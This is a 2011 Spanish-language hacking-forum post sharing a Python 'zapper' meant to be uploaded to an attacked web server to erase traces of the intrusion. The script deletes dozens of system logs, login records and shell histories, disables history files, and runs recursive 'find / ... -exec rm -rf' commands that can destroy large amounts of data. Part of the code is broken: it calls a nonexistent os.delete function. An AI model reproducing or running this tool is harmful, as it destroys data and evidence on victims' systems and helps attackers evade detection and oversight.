elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Python] Zapper By Doddy H
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Python] Zapper By Doddy H  (Leído 1,459 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Python] Zapper By Doddy H
« en: 7 Octubre 2011, 01:39 am »

Hola a todos.

Acabo de hacer un simple zapper en python , tan solo lo cargan en el sistema web atacado y comienza
a borrar huellas.
Eso si , no me habia dado cuenta de que facil usar python xDD

Código
  1. #!usr/bin/python
  2. #Zapper (C) Doddy Hackman
  3.  
  4. import os
  5.  
  6. paths = ["/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp","/var/log/secure","/root/.ksh_history", "/root/.bash_history","/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp","/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
  7. "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs","/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
  8. "/var/log/messages/", "/var/log/proftpd/xferlog.legacy","/var/log/proftpd.xferlog", "/var/log/proftpd.access_log","/var/log/httpd/error_log", "/var/log/httpsd/ssl_log","/var/log/httpsd/ssl.access_log", "/etc/mail/access","/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
  9. "/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority","/var/log/poplog", "/var/log/news.all", "/var/log/spooler","/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
  10. "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice","/var/log/news/suck.err", "/var/log/news/suck.notice","/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks","/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log","/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs","/var/log/auth"]
  11.  
  12. comandos  = ['find / -name *.bash_history -exec rm -rf {} \;' , 'find / -name *.bash_logout -exec rm -rf {} \;','find / -name log* -exec rm -rf {} \;','find / -name  *.log -exec rm -rf {} \;','unset HISTFILE','unset SAVEHIST']
  13.  
  14. print "\n[+] Starting the zapper"
  15.  
  16. for path in paths :
  17. try :
  18.  os.delete(path)
  19. except :
  20.  pass
  21.  
  22. for cmd in comandos :
  23. try:
  24.  os.system(cmd)
  25. except:
  26.  pass
  27.  
  28. print "[+] All logs are erased\n"
  29.  
  30. #The End ?
  31.  
  32.  


« Última modificación: 8 Octubre 2011, 19:08 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Console By Doddy H
Scripting
BigBear 0 1,469 Último mensaje 7 Octubre 2011, 01:32 am
por BigBear
[Python] Easy Inyector By Doddy H
Scripting
BigBear 1 2,220 Último mensaje 28 Agosto 2012, 03:39 am
por HIRONAKAMURA
[Python] Fuzz DNS By Doddy H
Scripting
BigBear 0 1,408 Último mensaje 7 Octubre 2011, 01:34 am
por BigBear
[Python] HellRat By Doddy H
Scripting
BigBear 0 1,483 Último mensaje 7 Octubre 2011, 01:37 am
por BigBear
[Python] Phising Gen By Doddy H
Scripting
BigBear 0 1,826 Último mensaje 7 Octubre 2011, 01:39 am
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines